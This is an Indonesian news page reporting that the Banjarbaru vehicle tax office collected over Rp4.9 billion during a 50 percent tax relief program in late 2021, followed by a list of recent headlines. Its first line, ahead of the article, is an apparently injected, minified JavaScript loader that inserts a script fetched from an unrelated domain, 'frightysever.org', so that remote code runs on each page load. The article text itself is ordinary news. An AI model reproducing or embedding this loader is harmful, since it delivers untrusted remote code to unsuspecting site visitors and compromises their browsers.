(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Samsat Banjarbaru Berhasil Kumpulkan Rp4 M dari Program Relaksasi


KANALKALIMANTAN.COM, BANJARBARU – Sepanjang Oktober hingga November 2021 sebanyak 2.500 unit kendaraan lebih terdaftar sebagai wajib pajak di Samsat Banjarbaru. Kepala Unit Pelayanan Pendapatan Daerah (UPPD) Samsat Banjarbaru, Tommy Hariadi mengatakan bahwa 2.500 lebih unit kendaraan itu memanfaatkan pemberlakuan kebijakan relaksasi 50 persen.

“UPPD Samsat Banjarbaru berhasil mengumpulkan realisasi penerimaan sebanyak Rp 4,9 miliar lebih dalam pemberlakuan kebijakan relaksasi 50 persen,” ujarnya.

Dirincikan dari Oktober, kendaraan roda dua dan tiga mencapai 560 unit lebih sedangkan roda empat 180 unit.

“Kalau kita lihat November 2021 kemarin mengalami pergerakan positif sebanyak 1.900 unit lebih, sisanya masih roda empat dengan realisasi sekitar 660 unit lebih,” katanya.

 

 

Baca juga: Polresta Banjarmasin Ubah Pos Pengamanan Nataru Jadi Gerai Vaksin Berhadiah!

Ditambahkannya dalam tercapainya pendapatan ini juga dipengaruhi adanya program kebijakan relaksasi yang diinisiasi oleh Gubernur Kalsel, Sahbirin Noor.

“Program ini masih berjalan hingga 21 Desember 2021 mendatang. Yang mana, geliat perekonomian sudah mulai tumbuh, bahkan animo masyarakat dalam memanfaatkan relaksasi ini sudah terlihat,” katanya.

Agar bisa menutupi pendapatan yang menjadi target Pemprov Kalsel sebanyak Rp100 miliar. Minimal, UPPD Banjarbaru harus mampu mengumpulkan penerimaan minimal sekitar Rp2 – Rp3 miliar.

“Setidaknya sampai 31 Desember mendatang, pendapatan di Samsat Banjarbaru bisa mencapai Rp8 miliar agar mampu menutupi capaian untuk akhir tahun 2021,” ucapnya.

Baca juga: BREAKING NEWS: Tsunami Terjang Dua Wilayah di NTT

Ia mengimbau, agar masyarakat dapat memanfaatkan program kebijakan relaksasi yang tinggal menyisakan beberapa hari lagi.

“Kami mengharapkan agar wajib pajak khususnya berdomisili di Banjarbaru untuk mempergunakan waktu program ini dengan sebaik-baiknya,” pungkasnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

12 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.